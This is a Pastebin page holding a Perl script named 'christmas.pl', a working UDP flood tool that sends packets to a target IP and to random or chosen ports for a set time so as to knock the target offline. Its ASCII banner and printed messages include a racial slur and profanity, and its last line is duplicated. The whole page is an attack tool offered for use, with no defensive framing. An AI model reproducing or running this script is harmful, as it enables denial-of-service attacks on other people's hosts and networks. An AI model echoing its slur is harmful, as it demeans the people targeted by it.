Advertisement
oAntiWiFi

christmas.pl

Dec 8th, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.56 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##
  4. # Rated <---
  5. ##
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  15. $endtime = time() + ($time ? $time : 100);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18. print <<EOTEXT;
  19.  
  20. _______
  21. | | |.-----..----..----..--.--.
  22. | || -__|| _|| _|| | |
  23. |__|_|__||_____||__| |__| |___ |
  24. _______ __ |_____|
  25. | ___|.--.--..----.| |--.|__|.-----..-----.
  26. | ___|| | || __|| < | || || _ |
  27. |______ ______||____|___|__||__|___|__||___ |
  28. | || |--..----.|__|.-----.| |_ .--------..---.-..-----.
  29. | ---|| || _|| ||__ --|| _|| || _ ||__ --|
  30. |______||__|__||__| |__||_____||____||__|__|__||___._||_____|
  31.  
  32. Ho, Ho, Ho, Nigga Get Hit Offline - Have Some Presents
  33. Coded by: MADDGAMERV1
  34. EOTEXT
  35.  
  36. print "Sending Presents: $ip " . ($port ? $port : "random") . "
  37. Getting Hit" .
  38. ($size ? "$size-GBS" : "Error..") . "
  39. ~Santa~ ~Get In My Fucking Sleigh~ " .
  40. ($time ? " for $time seconds" : "") . "\n";
  41. print "Break with Ctrl-C\n" unless $time;
  42.  
  43. for (;time() <= $endtime;) {
  44. $psize = $size ? $size : int(rand(1500-64)+64) ;
  45. $pport = $port ? $port : int(rand(65500))+1;
  46.  
  47. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  48. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement